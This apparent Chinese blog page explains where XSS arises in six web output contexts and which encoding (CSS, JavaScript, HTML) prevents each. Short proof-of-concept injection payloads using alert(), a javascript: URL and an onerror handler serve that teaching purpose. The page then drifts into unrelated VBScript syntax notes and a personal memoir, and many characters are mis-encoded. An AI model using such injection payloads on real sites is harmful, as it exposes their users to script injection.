既然是將數(shù)據(jù)給注入到代碼里面變成可執(zhí)行代碼,那么我們就找出所有可能的地方,絕大多數(shù)XSS發(fā)生在MVC模式里面View層。
我們來看看過程:
其中:A B C D E F 標記的地方則代表可能會產生XSS
我們分不同上下文來進行不同的編碼函數(shù),就可以很肯定的斷絕在這些地方產生XSS,只要情況不特殊(特殊如:寬字節(jié) base64編碼等),就一定可以保證安全。
A: 后端》》》CSS
輸出到CSS通常不會出現(xiàn)什么XSS,但是如果CSS里面有可能的用戶完全可以控制的變量,如果我可以自定義 style 屬性而且沒過濾,或者可以直接控制某段CSS。
<p style="background-image: url(javascript:alert(/xss/));">//同理<style>#id { background-image: url(javascript:alert(/xss/));}</style>
這樣就可以利用偽協(xié)議來實現(xiàn)。
解決方法:
對style屬性里面的數(shù)據(jù)進行嚴格的檢查,并且對于用戶輸出到xss里面的內容進行適當?shù)腃SS編碼。
B: 后端》》》》Javascript
這種直接輸出的js又不過濾簡直就是老掉牙的xss漏洞。
var x =""; //如果假設用戶可以控制x變量 //那么我輸入 ";alert(/xss/);// //那么這串代碼會變成 var x ="";alert(/xss/);//"; //紅色部分是用戶輸入的字符 //成功彈出 提示框,執(zhí)行了額外的代碼
當然還有一堆方法實現(xiàn)各種xss,各種姿勢。所以這種是最最最簡單的xss也是最容易被利用的。
解決方法:
對其進行嚴格的JavascriptEncode,將某些字符轉義,如 " 變成 \" ,' 變成 \' 等等(不止這些) 防止用戶逃脫你的 雙(單)引號,也可以防止其他姿勢注入。
C: Javascript》》》生成HTML元素或添加html元素屬性
如 js 給 <div> 添加height 屬性 變成 <div height="200px">
對于這個時候,從js輸出數(shù)據(jù)到屬性或 innerHTML/document.write 等函數(shù)生成任何元素,都要視為一次可能的XSS輸出。因為上下文已經不一樣了,這次JavascriptEncode是不對的。否則你只能保證數(shù)據(jù)在js里面不會被注入,而在html的話,就不一定了。
解決方法:
應該使用 HTMLEncode 編碼,保證你從js輸出到HTML的元素和屬性不會脫離你的控制。
D: Javascript》》》輸出到HTML元素里面的事件 或其他任何動態(tài)執(zhí)行js的地方
列如下列一段代碼,如果foo是從js執(zhí)行之后動態(tài)輸出到html里面的。foo是用戶可以控制的。
<script>document.write("<img onload=' " + var + " '>");</script><img onload='alert("var");'>
那么我完全可以跟上次一樣,輸入 ";alert(/xss/);//, 即使你第一次從后端到js使用了一次jsEncode,但是很遺憾,輸出到html事件(write函數(shù))后代碼會轉義回來,所以我依然執(zhí)行了。
則會變成:
<img onload='alert("";alert(/xss/);//");'>
可以看見,當你加載完畢之后,恭喜執(zhí)行我的惡意代碼。
解決方案:
使用 JavascriptEncode,對事件里面的js代碼進行編碼。這里也必須視為一次可能的XSS輸出。
E:后端 》》》》輸出到HTML元素里面的事件 或其他任何動態(tài)執(zhí)行js的地方
列簡直可以視為跟D是一模一樣的,所以你只需要理解D情況,那么這個也就自然可以理解了。
<img onload='var'>
如果var是后端直接未經過處理輸出,則輸入 ';alert(/xss/);// 則觸發(fā)XSS
解決方法:
也是對var進行JavascriptEncode。
F:后端 》》》》生成HTML元素或添加html元素屬性
與C情況也是一模一樣。只是輸出源不同了而已,原理模式都一樣。
<div> $var </div>
如果$var是后端輸出的,那么我可以輸入<script>alert(/xss/)</script> 或 <img scr='' onerror='alert(/xss/)'>
總之這樣很容易注入XSS
解決方法:
對var變量進行HtmlEncode,那么我就無論如何也構建不了<>任何元素了。也就不可能有<script> 或新建元素利用Onload事件等。
HTML中放置
<body>
<script type="text/vbscript">
document.write("hello from VBScirpt")
</script>
</body>
在Head部分的腳本:當腳本被調用時,它們就會被執(zhí)行,或者某個事件被觸發(fā),腳本也有可能被觸發(fā)。當腳本被放置在head,就可以確保用戶在使用前已經被載入
在body部分:當頁面body部分被載入時,腳本就會被執(zhí)行。當我們把腳本放置在body部分,它會生成頁面的內容。
option explicit
dim name
name = values
創(chuàng)建了一個變量name
數(shù)組
dim names(2) #包含了3個元素[0,1,2]
dim person(2,4) #二維數(shù)組
子程序:封裝在Sub和End Sub語句內;執(zhí)行操作,不會返回值;可帶有通過程序調用向子程序傳遞參數(shù)
Sub mysub()
some statements
End Sub
函數(shù)程序:封裝在function和End Function語句內;可執(zhí)行操作并返回值
Function myfunction()
some stetements
myfunction = some values
End Function
調用函數(shù)時
name = findname()
或者
msgbox"your name" & findname()
調用子程序時
Call MyProc(argument)
或
MyProc argument
if
if...then..else
if...then..elseif
select case(case Else)
+ end if
For Next
For Each...Next
Do...Loop
While...Wend
step 1/-1
小學學過一段時間的VBS,長大后再回顧沒有熟悉地方,這個好像直接植入到HTML中。小時候另存為“.vbs"的一個小運行程序,大概教程選錯了?
哈哈還記得當時老師培訓時,還偷偷開了好幾個夢幻西游的賬號。。有次直接被老師抓住。當時學習網頁制作時,模糊記得好像是有個程序,我們只要了解布局與樣式,將元素放到后臺,前臺就會顯示出來。小伙伴們一起嘻嘻鬧鬧圍在電腦前看解題程序。
現(xiàn)在想起來,有些恍惚又美好的感覺。小伙伴們不知道怎樣了,那時微雨蒙蒙的好天氣也只能留在回憶長廊了。
*請認真填寫需求信息,我們會在24小時內與您取得聯(lián)系。